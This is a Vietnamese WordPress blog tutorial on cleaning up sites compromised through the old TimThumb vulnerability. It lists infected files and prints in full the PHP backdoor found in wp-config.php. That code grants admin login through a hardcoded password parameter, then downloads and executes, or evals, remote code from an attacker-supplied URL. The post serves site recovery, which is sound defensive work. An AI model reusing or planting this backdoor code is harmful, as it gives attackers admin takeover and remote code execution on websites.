• WordPress
    • Tất cả
    • Lỗi Wordpress thường gặp
    • WordPress PLUGINS
    • WordPress SEO
    • WordPress THEMES
    9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

    9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

    21 theme WordPress tốt nhất dành cho các đại lý xe hơi

    21 theme WordPress tốt nhất dành cho các đại lý xe hơi

    6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

    6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

    Chi phí xây dựng một website WordPress là bao nhiêu?

    Chi phí xây dựng một website WordPress là bao nhiêu?

    25 theme WordPress thích hợp nhất dành cho website về Crossfit

    25 theme WordPress thích hợp nhất dành cho website về Crossfit

    Hướng dẫn thêm bài viết mới trong WordPress

    Hướng dẫn thêm bài viết mới trong WordPress

    Cách tạo một Marketplace với WordPress

    Cách tạo một Marketplace với WordPress

    cách lên lịch cho bài viết trong WordPress

    Hướng dẫn cách lên lịch cho bài viết trong WordPress

    Cách tạo style cho Navigation Menus WordPress

    Cách tạo style cho Navigation Menus WordPress

    Trending Tags

      • WordPress PLUGINS
      • WordPress SEO
      • WordPress THEMES
    • Công cụ
      7 công cụ tạo tên blog tốt nhất giúp bạn tìm ý tưởng cho tên blog WordPress

      7 công cụ tạo tên blog tốt nhất giúp bạn tìm ý tưởng cho tên blog WordPress

      Hướng dẫn sử dụng FOMO trên trang web WordPress để tăng lượt chuyển đổi

      Hướng dẫn sử dụng FOMO trên trang web WordPress để tăng lượt chuyển đổi

      Thiết lập dịch vụ đặt hàng trực tuyến trong WordPress

      Cách thiết lập dịch vụ đặt hàng trực tuyến cho nhà hàng với WordPress

      Các công cụ cần thiết cho một lớp học trực tuyến WordPress

      Các công cụ cần thiết cho một lớp học trực tuyến WordPress

      7 công cụ kiểm tra Backlink tốt nhất

      7 công cụ kiểm tra Backlink tốt nhất

      Cách tạo bố cục WordPress tùy chỉnh với Elementor

      Cách tạo bố cục WordPress tùy chỉnh với Elementor

      Hướng dẫn tối ưu hóa hình ảnh cho WordPress mà không làm giảm chất lượng ảnh

      Hướng dẫn tối ưu hóa hình ảnh cho WordPress mà không làm giảm chất lượng ảnh

      So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

      So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

      Hướng dẫn chặn thực thi PHP tại một thư mục cụ thể để bảo mật website WordPress

      Hướng dẫn chặn thực thi PHP tại một thư mục cụ thể để bảo mật website WordPress

      • Design
    • Hosting

      FTP là gì? hướng dẫn tạo tài khoản ftp trên hosting

      Pasted 81 1

      WooCommerce Hosting tốt nhất năm 2020 (đánh giá và kiểm tra hiệu suất)

      Hướng dẫn cách cài đặt WordPress lên hosting 2020

      Hướng dẫn cách cài đặt WordPress lên hosting 2020

      Hướng dẫn cách lưu trữ trang web đơn giản cho người mới bắt đầu

      Hướng dẫn cách lưu trữ trang web đơn giản cho người mới bắt đầu

      Huong Dan Tang Maximum Size Khi Upload File Tren Wordpress 49146

      Hướng dẫn tăng kích thước file tối đa khi upload trên WordPress

      Luu Ban Nhap Tu Dong 15826

      Cách cài đặt WordPress trên hệ điều hành Windows bằng WAMP

      Hướng dẫn tải hàng loạt file media WordPress qua FTP

      Hướng dẫn tải hàng loạt file media WordPress qua FTP

      9 plugin tốt nhất giúp bạn di chuyển website WordPress sang host mới (Plugin Migration)

      9 plugin tốt nhất giúp bạn di chuyển website WordPress sang host mới (Plugin Migration)

      Cách khắc phục lỗi  403 Forbidden trong WordPress

      Cách khắc phục lỗi 403 Forbidden trong WordPress

      • Domain Hosting
    • News
      chuyen-doi-so-la-gi

      Chuyển đổi số là gì? Giới thiệu 3 phần mềm chuyển đổi số hiệu quả

      Top 7 chủ đề blog giúp kiếm tiền online hot nhất năm 2020

      Top 7 chủ đề blog giúp kiếm tiền online hot nhất năm 2020

      share-plugin-wordpress-wp-rocket

      [Share Plugin WordPress] WP Rocket bản mới nhất – Cập nhật liên tục

      So sánh 15 nền tảng CMS phổ biến nhất năm 2020

      So sánh 15 nền tảng CMS phổ biến nhất năm 2020

      So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

      So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

      So sánh ưu, nhược điểm giữa Wix và WordPress

      So sánh ưu, nhược điểm giữa Wix và WordPress

      Hướng dẫn xóa bộ nhớ Cache trong website WordPress

      Hướng dẫn xóa bộ nhớ Cache trong website WordPress

    • WordPress
      • Tất cả
      • Lỗi Wordpress thường gặp
      • WordPress PLUGINS
      • WordPress SEO
      • WordPress THEMES
      9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

      9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

      21 theme WordPress tốt nhất dành cho các đại lý xe hơi

      21 theme WordPress tốt nhất dành cho các đại lý xe hơi

      6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

      6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

      Chi phí xây dựng một website WordPress là bao nhiêu?

      Chi phí xây dựng một website WordPress là bao nhiêu?

      25 theme WordPress thích hợp nhất dành cho website về Crossfit

      25 theme WordPress thích hợp nhất dành cho website về Crossfit

      Hướng dẫn thêm bài viết mới trong WordPress

      Hướng dẫn thêm bài viết mới trong WordPress

      Cách tạo một Marketplace với WordPress

      Cách tạo một Marketplace với WordPress

      cách lên lịch cho bài viết trong WordPress

      Hướng dẫn cách lên lịch cho bài viết trong WordPress

      Cách tạo style cho Navigation Menus WordPress

      Cách tạo style cho Navigation Menus WordPress

      Trending Tags

        • WordPress PLUGINS
        • WordPress SEO
        • WordPress THEMES
      • Công cụ
        7 công cụ tạo tên blog tốt nhất giúp bạn tìm ý tưởng cho tên blog WordPress

        7 công cụ tạo tên blog tốt nhất giúp bạn tìm ý tưởng cho tên blog WordPress

        Hướng dẫn sử dụng FOMO trên trang web WordPress để tăng lượt chuyển đổi

        Hướng dẫn sử dụng FOMO trên trang web WordPress để tăng lượt chuyển đổi

        Thiết lập dịch vụ đặt hàng trực tuyến trong WordPress

        Cách thiết lập dịch vụ đặt hàng trực tuyến cho nhà hàng với WordPress

        Các công cụ cần thiết cho một lớp học trực tuyến WordPress

        Các công cụ cần thiết cho một lớp học trực tuyến WordPress

        7 công cụ kiểm tra Backlink tốt nhất

        7 công cụ kiểm tra Backlink tốt nhất

        Cách tạo bố cục WordPress tùy chỉnh với Elementor

        Cách tạo bố cục WordPress tùy chỉnh với Elementor

        Hướng dẫn tối ưu hóa hình ảnh cho WordPress mà không làm giảm chất lượng ảnh

        Hướng dẫn tối ưu hóa hình ảnh cho WordPress mà không làm giảm chất lượng ảnh

        So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

        So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

        Hướng dẫn chặn thực thi PHP tại một thư mục cụ thể để bảo mật website WordPress

        Hướng dẫn chặn thực thi PHP tại một thư mục cụ thể để bảo mật website WordPress

        • Design
      • Hosting

        FTP là gì? hướng dẫn tạo tài khoản ftp trên hosting

        Pasted 81 1

        WooCommerce Hosting tốt nhất năm 2020 (đánh giá và kiểm tra hiệu suất)

        Hướng dẫn cách cài đặt WordPress lên hosting 2020

        Hướng dẫn cách cài đặt WordPress lên hosting 2020

        Hướng dẫn cách lưu trữ trang web đơn giản cho người mới bắt đầu

        Hướng dẫn cách lưu trữ trang web đơn giản cho người mới bắt đầu

        Huong Dan Tang Maximum Size Khi Upload File Tren Wordpress 49146

        Hướng dẫn tăng kích thước file tối đa khi upload trên WordPress

        Luu Ban Nhap Tu Dong 15826

        Cách cài đặt WordPress trên hệ điều hành Windows bằng WAMP

        Hướng dẫn tải hàng loạt file media WordPress qua FTP

        Hướng dẫn tải hàng loạt file media WordPress qua FTP

        9 plugin tốt nhất giúp bạn di chuyển website WordPress sang host mới (Plugin Migration)

        9 plugin tốt nhất giúp bạn di chuyển website WordPress sang host mới (Plugin Migration)

        Cách khắc phục lỗi  403 Forbidden trong WordPress

        Cách khắc phục lỗi 403 Forbidden trong WordPress

        • Domain Hosting
      • News
        chuyen-doi-so-la-gi

        Chuyển đổi số là gì? Giới thiệu 3 phần mềm chuyển đổi số hiệu quả

        Top 7 chủ đề blog giúp kiếm tiền online hot nhất năm 2020

        Top 7 chủ đề blog giúp kiếm tiền online hot nhất năm 2020

        share-plugin-wordpress-wp-rocket

        [Share Plugin WordPress] WP Rocket bản mới nhất – Cập nhật liên tục

        So sánh 15 nền tảng CMS phổ biến nhất năm 2020

        So sánh 15 nền tảng CMS phổ biến nhất năm 2020

        So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

        So sánh 6 phần mềm kế toán tốt nhất cho doanh nghiệp vừa và nhỏ

        So sánh ưu, nhược điểm giữa Wix và WordPress

        So sánh ưu, nhược điểm giữa Wix và WordPress

        Hướng dẫn xóa bộ nhớ Cache trong website WordPress

        Hướng dẫn xóa bộ nhớ Cache trong website WordPress

      Cùng Học WordPress

      Hướng dẫn cách sửa và dọn dẹp hack TimThumb trong WordPress

      trungducgl26 được đăng bởi trungducgl26
      25/06/2020
      trong chuyên mục WordPress
      0 0
      0
      Hướng dẫn sửa 50 lỗi WordPress thường gặp
      0
      CHIA SẺ
      534
      LƯỢT XEM
      Share on FacebookShare on Twitter

      Nếu như bạn nhớ chính xác thì có một lỗi bảo mật trong script của TimThumb vào tháng 8 đã được sửa. Đáng ngạc nhiên rằng vẫn còn nhiều website đang sử dụng phiên bản cũ. Chúng tôi đã hỗ trợ 3 trang web sửa lỗi này trong tháng vừa qua, thậm chí một trang vừa được sửa ngay hôm qua. Do đó, đây là thời điểm hợp lý để viết một bài hướng dẫn để người dùng có thể tham khảo. Cả 3 người dùng gặp phải vấn đề này thậm chí còn không biết TimThumb là gì hay họ có sử dụng nó hay không.

      TimThumb là gì?

      TimThumb là một script PHP với tác dụng thay đổi kích cỡ hình ảnh.

      Vậy thì làm cách nào để biết được trang web của bạn đã bị hack? Nếu như bạn thấy một màn hình đỏ trên trình duyệt của bạn khi bạn truy cập trang web của mình:

      Something's not Right Here

      Nếu như bạn đã bị khủng bố với một loạt email về việc người dùng bị điều hướng ra khỏi trang của bạn. Thì có vẻ như trang web của bạn đã trở thành một nạn nhân.

      Để đảm bảo hơn, mọi người nên sử dụng Timthumb Vulnerability Scanner. Nó sẽ thông báo nếu như bạn đang sử dụng phiên bản cũ của TimThumb. Rất nhiều các club theme nâng cấp cốt lõi của họ ngay lập tức. Vậy nên plugin này sẽ kiểm tra phiên bản mới và an toàn của TimThumb có được cài đặt hay chưa.

      Giờ thì nếu như trang web của bạn đã là con mồi của lỗ hổng TimThumb này, đây là điều mà bạn cần phải làm.

      Hướng dẫn thao tác cách sửa và dọn dẹp hack TimThumb trong WordPress

      Đầu tiên bạn phải xóa những file sau:

      1
      2
      /wp-admin/upd.php
      /wp-content/upd.php

      Đăng nhập vào bảng quản lý WordPress và cài đặt lại phiên bản WordPress. Chúng ta chú ý cài đặt lại những file này:

      1
      2
      3
      /wp-settings.php
      /wp-includes/js/jquery/jquery.js
      /wp-includes/js/110n.js

      Sau đó mở file wp-config.php nơi mà bạn sẽ tìm thấy malware to đùng đang thu thập thông tin đăng nhập và cookies. Đoạn code này nằm sẽ ở phía dưới

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
      if ($_GET['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22'){
      if ($_GET['pingnow']== 'login'){
      $user_login = 'admin';
      $user = get_userdatabylogin($user_login);
      $user_id = $user->ID;
      wp_set_current_user($user_id, $user_login);
      wp_set_auth_cookie($user_id);
      do_action('wp_login', $user_login);
      }
      if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
      $ch = curl_init($_GET['file']);
      $fnm = md5(rand(0,100)).'.php';
      $fp = fopen($fnm, "w");
      curl_setopt($ch, CURLOPT_FILE, $fp);
      curl_setopt($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch, CURLOPT_TIMEOUT, 5);
      curl_exec($ch);
      curl_close($ch);
      fclose($fp);
      echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
      }
      if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
      $ch = curl_init($_GET['file']);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch, CURLOPT_TIMEOUT, 5);
      $re = curl_exec($ch);
      curl_close($ch);
      eval($re);
      }}}

      Trong folder theme, tìm mọi nơi mà những TimThumb có thể sẽ lưu trữ file cache. Thông thường thì chúng có cấu trúc như sau:

      1
      2
      /wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php
      /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php

      Xóa tất cả mọi thứ trông giống như vậy, nếu như bạn cảm thấy không chắc chắn, hãy xóa toàn bộ những file không phải là hình ảnh.

      Điều tiếp theo bạn cần làm là thay thế timthumb.php với phiên bản mới nhất tại: http://timthumb.googlecode.com/svn/trunk/timthumb.php

      Bạn sẽ muốn thay mật khẩu của mình bắt đầu từ MySQL đến tài khoản WordPress. Đừng quên đổi mật khẩu MySQL ở wp-config.php nếu không bạn sẽ gặp lỗi “Error Establishing Connection”

      Đổi mã bí mật trong file wp-config.php. Bạn có thể tạo ra một mã mới qua online generator.

      Vậy là mọi thứ đã xong. Đừng quên loại bỏ hoàn toàn các plugin caching. Và để đảm bảo hơn, bạn nên xóa cả cache và cookies của trình duyệt.

      Đối với developer, hãy thử sử dụng chức năng Additional Image Sizes trong WordPress để thay thế cho TimThumb.

      Hãy liên hệ với chúng tôi nếu bạn cần thêm trợ giúp nhé!

      Like this:

      Like Đang tải...
      Thẻ : sửa và dọn dẹp hack TimThumb trong WordPress
      • Xu Hướng
      • Bình luận
      • Mới nhất
      Hướng dẫn cho phép đăng ký tài khoản trên WordPress

      Hướng dẫn cho phép đăng ký tài khoản trên WordPress

      21/05/2020
      Hướng dẫn sử dụng trình chỉnh sửa Block Editor mới trên WordPress (Gutenberg)

      Hướng dẫn sử dụng trình chỉnh sửa Block Editor mới trên WordPress (Gutenberg)

      09/07/2020
      bật chế độ bảo trì cho website WordPress

      Cách bật chế độ bảo trì cho website WordPress

      09/07/2020
      chuyen-doi-so-la-gi

      Chuyển đổi số là gì? Giới thiệu 3 phần mềm chuyển đổi số hiệu quả

      0
      Hướng dẫn cài đặt WordPress trên Amazon Web Services

      Hướng dẫn cài đặt WordPress trên Amazon Web Services

      0
      Hướng dẫn cách hạn chế không cho phép điền form đối với người dùng không đăng nhập

      Hướng dẫn cách hạn chế không cho phép điền form đối với người dùng không đăng nhập

      0
      Cách tạo giỏ hàng cho người dùng trên WordPress bằng cách dùng BigCommerce

      Cách tạo giỏ hàng cho người dùng trên WordPress bằng cách dùng BigCommerce

      0
      chuyen-doi-so-la-gi

      Chuyển đổi số là gì? Giới thiệu 3 phần mềm chuyển đổi số hiệu quả

      13/07/2021
      9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

      9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

      13/07/2021
      21 theme WordPress tốt nhất dành cho các đại lý xe hơi

      21 theme WordPress tốt nhất dành cho các đại lý xe hơi

      13/07/2021
      6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

      6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

      13/07/2021
      QUẢNG CÁO

      Bài viết mới nhất

      chuyen-doi-so-la-gi

      Chuyển đổi số là gì? Giới thiệu 3 phần mềm chuyển đổi số hiệu quả

      13/07/2021
      9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

      9 Plugin tạo bài quiz đố vui tốt nhất cho WordPress (2020)

      13/07/2021
      21 theme WordPress tốt nhất dành cho các đại lý xe hơi

      21 theme WordPress tốt nhất dành cho các đại lý xe hơi

      13/07/2021
      6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

      6 plugin đặt chỗ và đặt lịch hẹn WordPress tốt nhất

      13/07/2021
      Chi phí xây dựng một website WordPress là bao nhiêu?

      Chi phí xây dựng một website WordPress là bao nhiêu?

      20/07/2021


      Cùng Học WP blog chia sẻ kiến thức học tập về WordPress, Hosting, Marketing, SEO, MMO miễn phí. Phương châm của cunghocwp.com là cho đi giá trị.

      Liên Hệ Cùng Học WP

      Mọi thông tin liên hệ về Cùng Học WP mời các bạn liên hệ trực tiếp chúng tôi theo các thông tin sau:

          • Hotline: 0973.666.777
          • Email: lienhe@cunghocwp.com
          • Địa chỉ: 387 Nguyễn Đình Chiểu, Phường 5, Quận 3, Hồ Chí Minh

      © 2020 – Cùng Học WordPress. All Right Reserved.

      Về chúng tôi  /  Liên hệ  /  Chính sách bảo mật  /  Quy định sử dụng

      • WordPress
        • WordPress PLUGINS
        • WordPress SEO
        • WordPress THEMES
      • Công cụ
        • Design
      • Hosting
        • Domain Hosting
      • News

      © 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

      Xin Chào !

      Đăng nhập vào tài khoản của bạn bên dưới

      Đã quên mật khẩu?

      Tạo tài khoản mới!

      Điền vào các mẫu dưới đây để đăng ký

      Tất cả các trường đều được yêu cầu. Đăng nhập

      Truy xuất mật khẩu của bạn

      Vui lòng nhập tên người dùng hoặc địa chỉ email của bạn để đặt lại mật khẩu của bạn.

      Đăng nhập
      %d bloggers like this: